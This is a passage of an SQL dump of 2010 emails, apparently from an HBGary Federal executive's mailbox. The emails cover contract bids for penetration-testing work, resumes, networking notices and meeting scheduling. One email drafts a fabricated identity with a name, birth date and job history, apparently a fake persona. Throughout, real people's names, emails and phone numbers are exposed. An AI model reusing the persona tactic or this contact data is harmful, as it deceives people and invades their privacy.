Resumes','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam-\r\n\r\n&nbsp;\r\n\r\nWe&#8217;re reaching the EMERGENCY\r\nstatus with 4 personnel outstanding.&nbsp; Please get us the closest resumes you can\r\nfor these remaining 4, regardless of their true availability near-term.&nbsp; TSA\r\nwon&#8217;t start this contract until January at the earliest(assuming no protests),\r\nand more likely March/April.\r\n\r\n&nbsp;\r\n\r\nAlso, for the e-discovery team\r\nlead, the requirements are very, very close to digital forensics so get us\r\nother resumes who would look like that.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kirby Kintner \r\nSent: Tuesday, August 24, 2010 10:29 AM\r\nTo: Friedman, Bruce L (IS); Meaney, Paul A (IS); \'rob.wilson@telos.com\';\r\nSanderson, Robert; Moskwa, Dwane; Moore, Debbie Taylor; Spalding, Sondra M\r\n(TASC); Andretta, Christine N (TASC)\r\nCc: John Fanguy; William E. Miller\r\nSubject: Key Personnel Resumes\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIn addition to the SOC Manager, E-discovery Team Lead, and\r\nthe CCIP Program Analyst, we now have another opening - the COMSEC Manager. The\r\nquals are attached. \r\n\r\n&nbsp;\r\n\r\nKJK\r\n\r\n703-966-7887\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11131,'aaron_hbgary_com/11131.html'),(10855,'2010-08-24','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008344.M652705P14101Q5710.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Attachments J.2 through J.9 for Solicitation Number:  CSP1-10-041--Penetration Testing and Information Security Services','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere’s the other docs.  Key will\r\nbe 1) rates; 2) can you actually produce these folks near their kickoff\r\ntimeframe?\r\n\r\n&nbsp;\r\n\r\nIf you can hit the $130/hr we\r\nwere talking about, I think it’s a win.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nVP\r\n\r\nDigital Management, Inc.\r\n\r\n301-346-6749 cell\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sunny Bajaj \r\nSent: Tuesday, August 24, 2010 6:45 PM\r\nTo: William Luti; Bob Cutaiar; John Park\r\nCc: John Fanguy; Scott B. Deutschman\r\nSubject: Fw: Attachments J.2 through J.9 for Solicitation Number:\r\nCSP1-10-041--Penetration Testing and Information Security Services\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBill - fyi - more attachments. 1\r\nMore to follow.\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Reynolds, Darlene\r\n[mailto:Darlene.Reynolds@dcsc.gov] \r\nSent: Tuesday, August 24, 2010 06:14 PM\r\nTo: Reynolds, Darlene &lt;Darlene.Reynolds@dcsc.gov&gt; \r\nSubject: Attachments J.2 through J.9 for Solicitation Number:\r\nCSP1-10-041--Penetration Testing and Information Security Services \r\n&nbsp;\r\n\r\n\r\n\r\nTo All Potential Offerors:\r\n\r\n&nbsp;\r\n\r\nPer my earlier message please review and complete\r\nAttachments J.2 through J.9 in accordance with the above referenced\r\nsolicitation.&nbsp; Thank you in advance\r\n\r\nfor your participation in the bid process. &nbsp;&nbsp;\r\n\r\n&nbsp;\r\n\r\nDarlene\r\nD. Reynolds\r\n\r\nSenior\r\nContract Specialist\r\n\r\nAdministrative\r\nServices Division\r\n\r\nDC\r\nSuperior Courts\r\n\r\n616\r\nH Street, NW, 6th Floor\r\n\r\nWashington,\r\nDC&nbsp; 20001\r\n\r\n(202)\r\n879-2872 (office)\r\n\r\n(202)\r\n879-2835(FAX)\r\n\r\nThis message (including any attachments) is intended only for the use of the\r\nindividual or entity to which it is addressed and may contain information that\r\nis non-public, proprietary, privileged, confidential, and exempt from\r\ndisclosure under applicable law or may constitute as attorney work product. If\r\nyou are not the intended recipient, you are hereby notified that any use,\r\ndissemination, distribution, or copying of this communication is strictly\r\nprohibited. If you have received this communication in error, notify us\r\nimmediately by telephone and (i) destroy this message if a facsimile or (ii)\r\ndelete this message immediately if this is an electronic communication. Thank\r\nyou.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9690,'aaron_hbgary_com/9690.html'),(10856,'2010-08-24','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008344.M987205P14101Q5711.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Getting Settled','Begin forwarded message:From: &quot;David Willson&quot; &lt;David.Willson@nekasg.com&gt;\r\nDate: August 24, 2010 12:34:08 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: Getting Settled\r\n\r\n\r\n\r\n\r\nTed, I am finally getting settled here at NEK.  I just saw\r\nyour name in my stack of stuff and thought I’d send you a note.  Let me\r\nknow if we can get together in the near future to discuss capabilities and\r\npotential partnering opportunities.  Hope all is well.\r\n\r\n \r\n\r\nDave\r\n\r\n \r\n\r\n\r\n',13361,'aaron_hbgary_com/13361.html'),(10857,'2010-08-25','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008345.M181938P14101Q5712.eml','\"Barr Aaron\" <aaron@hbgary.com>','KeyCase iPad Folio packs a Bluetooth keyboard, scores FCC approval -- Engadget','http://www.engadget.com/2010/08/24/keycase-ipad-folio-packs-a-bluetooth-keyboard-scores-fcc-approv/\r\n',6104,'aaron_hbgary_com/6104.html'),(10858,'2010-08-25','\"LinkedIn Communication\" <communication@linkedin.com>','/aaron@hbgary.com/new/1297008345.M381088P14101Q5713.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Messages, 8/25/2010','\r\n\r\n  \r\n\r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      INMAILS/INTRODUCTIONS\r\n    \r\n    See all\r\n  \r\n\r\n\r\n\r\n    \r\n      &#8226;&nbsp;\r\n      \r\n\r\n Carma Beedle wants you to forward an Introduction: \r\n\r\nFW: Introduction\r\nHi Aaron,\r\n\r\nCan you pass this on to Bob?  I\'m not connected with him yet!\r\n\r\nThanks!\r\n\r\nCarma\r\n\r\n\r\n\r\n\r\n\r\nOn 8/24/10 2:59 PM, Bob Marangelo wrote:\r\n\r\n--------------------\r\n\r\nHi,\r\n\r\n\r\n\r\nIt was great catching up with you.\r\n\r\n\r\n\r\nBob\r\n      \r\n    \r\n  \r\n    &nbsp;\r\n  \r\n      \r\n\r\n\r\n    PENDING MESSAGES\r\n    \r\n      &#8226; There are a total of 31 messages awaiting your response. Visit your InBox now.\r\n    \r\n    &nbsp;\r\n  \r\n  Don\'t want to receive email notifications? Adjust your message settings.\r\n  LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.  \r\n  \r\n\r\n\r\n\r\n\r\n',1502,'aaron_hbgary_com/1502.html'),(10859,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008345.M596621P14101Q5714.eml','\"Aaron Barr\" <adbarr@mac.com>','Icons of the Web','Icons of the WebSent from my iPad\r\n',1024,'aaron_hbgary_com/1024.html'),(10860,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008345.M812800P14101Q5715.eml','\"Aaron Barr\" <adbarr@mac.com>','Unlocking Social Media Ad Spending','Unlocking Social Media Ad SpendingForecaster eMarketer has raised its outlook for U.S. social networks advertising spending this year by nearly 30 percent. As I discuss in a post at GigaOM Pro, chances are, the next big advancement in social media marketing will be less about the actual technology and more about coordinating and integrating across media formats: traditional media for reach, interactive media for targeting, and social media for engagement. For this to happen, three social media advertising areas need help: scale, distribution and targeting, and format.\r\n\r\n\r\nScale: Audiences Lack Concentration\r\n\r\nA Nielsen survey shows that social networks in toto now consume almost a quarter of all time spent online: more than any other category. Unlike broadcast television, however, social media’s audience is scattered across millions of individual pages, limiting the effectiveness of mass-reach, simultaneous impact. Unlike traditional portals like Yahoo, Facebook doesn’t really have a home page or major channel hubs to concentrate users. To mimic the impact of a traditional TV ad, marketers with time-sensitive campaigns must understand what portions of those large-scale audiences are high-frequency users, so that a network blast really will hit its required audience counts. Providers need to offer that capability.\r\n\r\n\r\nDistribution and Targeting: Walled Garden or Bust?\r\n\r\nSocial media promises marketers the chance to target audiences by interest and behavior. But is most social network advertising actually doing that? A few years ago, MySpace had better ad targeting technology than Facebook did, yet the bulk of its impressions were sold as remnant inventory at market-bottom prices. While both those sites, through third-party tools, have improved their targeting, how many times do you see, say, the exact same dating service ads when you visit Facebook? Much of the promise of social technology is delivered through APIs and loosely linked ecosystems. Like the still-nascent RSS ad feed market, marketers are waiting for vendors and agencies to solve cross-network targeting and measurement issues.\r\n\r\n\r\nFormat: Is It Really “Social?”\r\n\r\nBesides targeting, social media’s big marketing promise was tapping into friends’ recommendations. Burned by the creepiness of Beacon, most marketers continue to shy away from anything but opt-in “friend-following.” Social media needs to get beyond product pages, lightly-targeted display ads and remnant inventory optimized by click-through tracking, especially if it wants to exploit traditional brand advertisers.\r\n\r\n\r\nRead the full post here.\r\n\r\n\r\nImage Source: flickr user aresauburn.\r\n\r\n	\r\n		\r\n	\r\n\r\n    \r\nSent from my iPad\r\n',860,'aaron_hbgary_com/860.html'),(10861,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008346.M372941P14101Q5717.eml','\"Greg Hoglund\" <greg@hbgary.com>','','Wow\r\nComputer Security Research - McAfee Labs Blog\r\nSent from my iPad\r\n',15818,'aaron_hbgary_com/15818.html'),(10862,'2010-08-25','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008346.M569430P14101Q5718.eml','federal@hbgary.com','Stephen Venter is now following you on Twitter!','\r\n\r\n  \r\n    \r\n      \r\n      \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n  Stephen Venter (@s_venter) is now following your tweets (@HBGaryFed) on Twitter.\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      Stephen Venter\r\n      @s_venter\r\n      \r\n        London\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        2\r\n        14\r\n        6\r\n\r\n    \r\n    \r\n      tweets\r\n      following\r\n      followers\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n    Stephen Venter is only sharing tweets with approved followers.\r\n  You do not follow Stephen Venter.\r\n\r\nWhat\'s Next?\r\n\r\n  \r\n    &bull;\r\n    Find out more about Stephen Venter on @s_venter\'s profile page.\r\n  \r\n    &bull;\r\n    Send Stephen Venter an @ reply.\r\n  \r\n    &bull;\r\n    Send Stephen Venter a direct message.\r\n  \r\n    \r\n    On your mobile? Learn Twitter for Mobile.\r\n  \r\n  \r\n\r\n  If you believe Stephen Venter is engaging in abusive behavior on Twitter, you may report Stephen Venter for spam.\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n      \r\n    \r\n  \r\n\r\n\r\n',9053,'aaron_hbgary_com/9053.html'),(10863,'2010-08-25','\"Bushar, Ronald (JMD)\" <Ronald.Bushar@usdoj.gov>','/aaron@hbgary.com/new/1297008346.M77296P14101Q5716.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: 2011 DOJ Cyber Security Conference','\r\nGreat. Thanks Aaron. &nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tuesday, August 24, 2010 06:17 PMTo: Bushar, Ronald (JMD)Cc: \'Maria Lucas\' &lt;maria@hbgary.com&gt;; Rich Cummings &lt;rich@hbgary.com&gt;; Ted Vera &lt;ted@hbgary.com&gt;; Karen Burke &lt;karenmaryburke@yahoo.com&gt;Subject: Re: 2011 DOJ Cyber Security Conference&nbsp;\r\nRon,Here you go. &nbsp;Let me know if you need anything else.Aaron',8154,'aaron_hbgary_com/8154.html'),(10864,'2010-08-25','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>','/aaron@hbgary.com/new/1297008346.M975440P14101Q5719.eml','\"Aaron Barr\" <aaron@hbgary.com>','Malware Clustering Tool','Hi Aaron,\r\n\r\nWould it be possible to get a copy of the malware clustering tool from\r\nthe BlackHat presentation? I\'d like to use it in a report I am working on.\r\n\r\nThanks.\r\nNart\r\n',5815,'aaron_hbgary_com/5815.html'),(10865,'2010-08-25','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297008347.M791871P14101Q5720.eml','aaron@hbgary.com','RE: Discuss new business opportunities?','Here it is...\r\n\r\nJohn M. Farrell\r\n(301) 768-0186\r\njfarrell@icscorp.com\r\n\r\n-----Original Message-----\r\nFrom: John Farrell \r\nSent: Tuesday, August 24, 2010 5:07 PM\r\nTo: \'aaron@hbgary.com\'\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nLet me send you the new template. \r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: \'aaron@hbgary.com\' \r\nSent: Tue Aug 24 17:02:30 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nAre you still interested? Yes we would like to see your quals. Thanks\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nSent: Tue Aug 24 16:54:39 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nJohn,\r\n\r\nI am sorry I lost the ball on this.  :(\r\n\r\nDo you still want me to fill it out.\r\n\r\nAaron\r\n\r\nOn Aug 18, 2010, at 2:55 PM, John Farrell wrote:\r\n\r\n> Aaron,\r\n> Here\'s a revised capabilities matrix (you can discard the earlier one\r\nI sent). I know there\'s a small malware requirement on this PWS, but I\r\nsuspect the opportunity will grow over time. Let me know your thoughts.\r\nThanks again.\r\n>  \r\n> John\r\n>  \r\n> John M. Farrell\r\n> (301) 768-0186\r\n> jfarrell@icscorp.com\r\n> From: John Farrell \r\n> Sent: Thursday, August 12, 2010 6:07 PM\r\n> To: Aaron Barr\r\n> Subject: RE: Discuss new business opportunities?\r\n>  \r\n> Aaron,\r\n>  \r\n> Here\'s the PWS and our template. I know you are swamped, but\r\nappreciate your support. I think you will see how this fits well with\r\nyour offering/skills. Thanks!\r\n>  \r\n> John\r\n>  \r\n> John M. Farrell\r\n> (301) 768-0186\r\n> jfarrell@icscorp.com\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 12, 2010 1:06 PM\r\n> To: John Farrell\r\n> Subject: Re: Discuss new business opportunities?\r\n>  \r\n> Almost there\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 12, 2010, at 1:08 PM, John Farrell \r\nwrote:\r\n> \r\n>> I am here at Greenberry\'s. Give me a call if you need to reschedule.\r\nThanks\r\n>> John\r\n>> 3017680186\r\n>> \r\n>> ----- Original Message -----\r\n>> From: John Farrell\r\n>> To: \'aaron@hbgary.com\' \r\n>> Sent: Mon Jul 26 15:00:36 2010\r\n>> Subject: Re: Discuss new business opportunities?\r\n>> \r\n>> Aaron,\r\n>> Greetings. Hope all is well. Give me a good time and number to reach\r\nyou. Let\'s catch up soon.\r\n>> John\r\n>> 301.768.0186 cell\r\n>> \r\n>> ----- Original Message -----\r\n>> From: John Farrell\r\n>> To: aaron@hbgary.com \r\n>> Sent: Wed Jun 23 16:39:18 2010\r\n>> Subject: Discuss new business opportunities?\r\n>> \r\n>> Aaron,\r\n>> \r\n>> \r\n>> \r\n>> How are things going? When are you available to talk about joint\r\nbusiness opportunities? I\'m at ICS now and working to expand their\r\nbusiness development efforts. We just won a contract at MSC and we\'re\r\nchasing several security opportunities across DOD, Civilian and IC. Let\r\nme know your schedule and let\'s get together soon.\r\n>> \r\n>> \r\n>> \r\n>> John\r\n>> \r\n>> \r\n>> \r\n>> John M. Farrell\r\n>> \r\n>> Director of Technical Services\r\n>> \r\n>> Integrated Communication Solutions, Inc.\r\n>> \r\n>> (301) 768-0186\r\n>> \r\n>> jfarrell@icscorp.com\r\n>> \r\n>> \r\n> \r\n\r\n',456,'aaron_hbgary_com/456.html'),(10866,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008348.M260579P14101Q5722.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>','Re: Attachments J.2 through J.9 for Solicitation Number: CSP1-10-041--Penetration Testing and Information Security Services','We can do it.On Aug 24, 2010, at 6:57 PM, John Fanguy wrote:Here’s the other docs.&nbsp; Key will be 1) rates; 2) can you actually produce these folks near their kickoff timeframe?&nbsp;If you can hit the $130/hr we were talking about, I think it’s a win.&nbsp;-John&nbsp;VPDigital Management, Inc.301-346-6749 cell&nbsp;From:&nbsp;Sunny Bajaj&nbsp;Sent:&nbsp;Tuesday, August 24, 2010 6:45 PMTo:&nbsp;William Luti; Bob Cutaiar; John ParkCc:&nbsp;John Fanguy; Scott B. DeutschmanSubject:&nbsp;Fw: Attachments J.2 through J.9 for Solicitation Number: CSP1-10-041--Penetration Testing and Information Security Services&nbsp;Bill - fyi - more attachments. 1 More to follow.&nbsp;From: Reynolds, Darlene [mailto:Darlene.Reynolds@dcsc.gov]&nbsp;Sent: Tuesday, August 24, 2010 06:14 PMTo: Reynolds, Darlene &lt;Darlene.Reynolds@dcsc.gov&gt;&nbsp;Subject: Attachments J.2 through J.9 for Solicitation Number: CSP1-10-041--Penetration Testing and Information Security Services&nbsp;&nbsp;To All Potential Offerors:&nbsp;Per my earlier message please review and complete Attachments J.2 through J.9 in accordance with the above referenced solicitation.&nbsp; Thank you in advancefor your participation in the bid process. &nbsp;&nbsp;&nbsp;Darlene D. ReynoldsSenior Contract SpecialistAdministrative Services DivisionDC Superior Courts616 H Street, NW, 6th FloorWashington, DC&nbsp; 20001(202) 879-2872 (office)(202) 879-2835(FAX)This message (including any attachments) is intended only for the use of the individual or entity to which it is addressed and may contain information that is non-public, proprietary, privileged, confidential, and exempt from disclosure under applicable law or may constitute as attorney work product. If you are not the intended recipient, you are hereby notified that any use, dissemination, distribution, or copying of this communication is strictly prohibited. If you have received this communication in error, notify us immediately by telephone and (i) destroy this message if a facsimile or (ii) delete this message immediately if this is an electronic communication. Thank you.&lt;J 2 through J 9 Attachments.pdf&gt;&lt;Attachment J 1--DC Courts General Contract Provisions.pdf&gt;',1186,'aaron_hbgary_com/1186.html'),(10867,'2010-08-25','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008348.M525024P14101Q5723.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re:','Intelligence work becomes banal, now available for the common man, CIA, Inc.\r\n\r\n\r\n\r\n \r\n',1434,'aaron_hbgary_com/1434.html'),(10868,'2010-08-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008348.M54532P14101Q5721.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services','Let&#39;s give it a shot.On Tue, Aug 24, 2010 at 4:38 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBegin forwarded message:From: John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nDate: August 24, 2010 6:35:39 PM EDT\r\nTo: William Luti &lt;wluti@digitalmanagement.com&gt;, Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: FW: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services\r\n\r\nAaron-\r\n Check this out…might be a good one to work on together. Due 9/9, for District of Columbia Courts.\r\n \r\n-John\r\n \r\nVP\r\nDigital Management, Inc.\r\n301-346-6749 cell\r\n \r\nFrom: Sunny Bajaj \r\nSent: Tuesday, August 24, 2010 6:32 PMTo: William Luti; Bob Cutaiar; John ParkCc: Scott B. Deutschman; John FanguySubject: Fw: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services\r\n \r\nBill, fyi  \r\nFrom: Reynolds, Darlene [mailto:Darlene.Reynolds@dcsc.gov] \r\nSent: Tuesday, August 24, 2010 05:57 PMTo: Reynolds, Darlene &lt;Darlene.Reynolds@dcsc.gov&gt; \r\nCc: Mobley, Shelia &lt;Shelia.Mobley@dcsc.gov&gt;; Eng, Andrew &lt;Andrew.Eng@dcsc.gov&gt;; Allen, Darryl M. &lt;Darryl.Allen@dcsc.gov&gt; \r\nSubject: Request for Proposal--CSP-10-041--Penetration Testing and Information Security Services  \r\nTo All Potential Offerors:\r\n Please review and respond to the attached Request for Proposal Number: CSP-10-041—Penetration Testing and Information Security Services in accordance with the Request for Proposal details and Attachments J.1 through J.9.  The deadline for written inquiries is Tuesday, September 7, 2010 by 1:00 p.m.. The closing date (response due date) for this solicitation is Wednesday, September 15, 2010 at 2:00 p.m., EST.  A separate e-mail message will follow with Attachments J.1 through J.9. Thank you in advance for your participation in the bid process.  \r\n \r\nDarlene D. Reynolds\r\nSenior Contract Specialist\r\nAdministrative Services Division\r\nDC Superior Courts\r\n616 H Street, NW, 6th Floor\r\nWashington, DC  20001\r\n(202) 879-2872 (office)\r\n(202) 879-2835(FAX)This message (including any attachments) is intended only for the use of the individual or entity to which it is addressed and may contain information that is non-public, proprietary, privileged, confidential, and exempt from disclosure under applicable law or may constitute as attorney work product. If you are not the intended recipient, you are hereby notified that any use, dissemination, distribution, or copying of this communication is strictly prohibited. If you have received this communication in error, notify us immediately by telephone and (i) destroy this message if a facsimile or (ii) delete this message immediately if this is an electronic communication. Thank you.\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n',10692,'aaron_hbgary_com/10692.html'),(10869,'2010-08-25','\"John Farrell\" <jfarrell@icscorp.com>','/aaron@hbgary.com/new/1297008349.M193486P14101Q5724.eml','aaron@hbgary.com,aaron@hbgary.com','RE: Discuss new business opportunities?','Aaron,\r\n\r\nAttached please find an NDA for the NGEN ISOO&A opportunity.  Please\r\nreview and fill out all appropriate contact information (areas\r\nhighlighted in gray).  \r\n\r\nIf all terms and conditions are acceptable, please sign, scan, and\r\nreturn directly to contracts@icscorp.com for signing on behalf of ICS.\r\nOnce this is done, ICS will return a fully executed copy for your\r\nrecords.  \r\n\r\nOtherwise, please use \"track changes\" feature of MS Word to identify\r\nyour proposed changes.  Please send the changes to contracts@icscorp.com\r\nfor review.  \r\n\r\nPlease copy me on any emails to ICS contracts so that I may follow up.\r\nShould you have any questions or comments please feel free to contact me\r\nat 301-695-8800 or jfarrell@icscorp.com.  \r\n\r\nThank you,\r\nJohn\r\n\r\nICS Contracts Department Information:\r\nJulianne Hagan\r\nDirector of Contracts\r\n301-695-8800 ext 284\r\njhagan@icscorp.com\r\n\r\nJohn M. Farrell\r\n(301) 768-0186\r\njfarrell@icscorp.com\r\n\r\n-----Original Message-----\r\nFrom: John Farrell \r\nSent: Wednesday, August 25, 2010 9:54 AM\r\nTo: \'aaron@hbgary.com\'\r\nSubject: RE: Discuss new business opportunities?\r\n\r\nHere it is...\r\n\r\nJohn M. Farrell\r\n(301) 768-0186\r\njfarrell@icscorp.com\r\n\r\n-----Original Message-----\r\nFrom: John Farrell \r\nSent: Tuesday, August 24, 2010 5:07 PM\r\nTo: \'aaron@hbgary.com\'\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nLet me send you the new template. \r\n\r\n----- Original Message -----\r\nFrom: John Farrell\r\nTo: \'aaron@hbgary.com\' \r\nSent: Tue Aug 24 17:02:30 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nAre you still interested? Yes we would like to see your quals. Thanks\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: John Farrell\r\nSent: Tue Aug 24 16:54:39 2010\r\nSubject: Re: Discuss new business opportunities?\r\n\r\nJohn,\r\n\r\nI am sorry I lost the ball on this.  :(\r\n\r\nDo you still want me to fill it out.\r\n\r\nAaron\r\n\r\nOn Aug 18, 2010, at 2:55 PM, John Farrell wrote:\r\n\r\n> Aaron,\r\n> Here\'s a revised capabilities matrix (you can discard the earlier one\r\nI sent). I know there\'s a small malware requirement on this PWS, but I\r\nsuspect the opportunity will grow over time. Let me know your thoughts.\r\nThanks again.\r\n>  \r\n> John\r\n>  \r\n> John M. Farrell\r\n> (301) 768-0186\r\n> jfarrell@icscorp.com\r\n> From: John Farrell \r\n> Sent: Thursday, August 12, 2010 6:07 PM\r\n> To: Aaron Barr\r\n> Subject: RE: Discuss new business opportunities?\r\n>  \r\n> Aaron,\r\n>  \r\n> Here\'s the PWS and our template. I know you are swamped, but\r\nappreciate your support. I think you will see how this fits well with\r\nyour offering/skills. Thanks!\r\n>  \r\n> John\r\n>  \r\n> John M. Farrell\r\n> (301) 768-0186\r\n> jfarrell@icscorp.com\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, August 12, 2010 1:06 PM\r\n> To: John Farrell\r\n> Subject: Re: Discuss new business opportunities?\r\n>  \r\n> Almost there\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Aug 12, 2010, at 1:08 PM, John Farrell \r\nwrote:\r\n> \r\n>> I am here at Greenberry\'s. Give me a call if you need to reschedule.\r\nThanks\r\n>> John\r\n>> 3017680186\r\n>> \r\n>> ----- Original Message -----\r\n>> From: John Farrell\r\n>> To: \'aaron@hbgary.com\' \r\n>> Sent: Mon Jul 26 15:00:36 2010\r\n>> Subject: Re: Discuss new business opportunities?\r\n>> \r\n>> Aaron,\r\n>> Greetings. Hope all is well. Give me a good time and number to reach\r\nyou. Let\'s catch up soon.\r\n>> John\r\n>> 301.768.0186 cell\r\n>> \r\n>> ----- Original Message -----\r\n>> From: John Farrell\r\n>> To: aaron@hbgary.com \r\n>> Sent: Wed Jun 23 16:39:18 2010\r\n>> Subject: Discuss new business opportunities?\r\n>> \r\n>> Aaron,\r\n>> \r\n>> \r\n>> \r\n>> How are things going? When are you available to talk about joint\r\nbusiness opportunities? I\'m at ICS now and working to expand their\r\nbusiness development efforts. We just won a contract at MSC and we\'re\r\nchasing several security opportunities across DOD, Civilian and IC. Let\r\nme know your schedule and let\'s get together soon.\r\n>> \r\n>> \r\n>> \r\n>> John\r\n>> \r\n>> \r\n>> \r\n>> John M. Farrell\r\n>> \r\n>> Director of Technical Services\r\n>> \r\n>> Integrated Communication Solutions, Inc.\r\n>> \r\n>> (301) 768-0186\r\n>> \r\n>> jfarrell@icscorp.com\r\n>> \r\n>> \r\n> \r\n\r\n',11649,'aaron_hbgary_com/11649.html'),(10870,'2010-08-25','\"Vicky Cox\" <vicky.cox@ugov.gov>','/aaron@hbgary.com/new/1297008356.M996637P14101Q5725.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Scheduled Appointment with Dr. Lisa Porter, 10 Sep','Mr. Barr,\r\n\r\nPer your request, I have you scheduled to meet with Dr. Porter on 10 Sep 2010, 3:00 to 3:45.\r\n\r\nI have attached the directions to IARPA, Dr. Porter\'s Biography and a Visitor\'s Request Form (VRF); please fill out the VRF and return it, as soon as possible.\r\n\r\nPlease provide your Biography and a phone number, in case we need to reach you (quickly).\r\n\r\nThank you and we look forward to meeting you.  If I can be of any further assistance, please don\'t hesitate to ask.\r\n\r\nr/\r\nVicky R. Cox\r\n\r\n\r\n\r\n---------- Original Message -----\r\n> From: \"Manfai Fong\" \r\n> To: \"Vicki Cox\" , \"Gary Fritter\" , \"Dianna Ayers\" \r\n> Cc: \"Aaron Barr\" \r\n> Sent: Tuesday, August 24, 2010 12:52:12 PM\r\n> Subject: Meeting with Dr. Porter\r\n> \r\n> Vicki,\r\n> \r\n> Please arrange a meeting between Dr. Porter and Dr. Baranoski with Mr. Barr from HBGary.  Block 45 minutes for the meeting.  Look for a date after the 31st of August; either that week or the following week.  The meeting will be held here in College Park.\r\n> \r\n> Fong\r\n> \r\n> \r\n> -- \r\n> M. Fong\r\n> Executive Officer, IARPA\r\n> (w) 301-851-7586',8725,'aaron_hbgary_com/8725.html'),(10871,'2010-08-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008357.M403387P14101Q5726.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Digital Globe Persona','Tell me what you think?Holly Weber&nbsp;\r\n \r\n \r\n&nbsp;Hometown – Portland, ORAge: 26DOB: Apr. 1st 1984High School - Reynolds High School, Troutdale, ORCollege – &nbsp;Air Force – 2002-2006Lockhead Martin 2006-2010DigitalGlobe - 2010\r\n\r\n\r\n\r\n\r\n',11158,'aaron_hbgary_com/11158.html'),(10872,'2010-08-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008357.M632667P14101Q5727.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','oracle pen 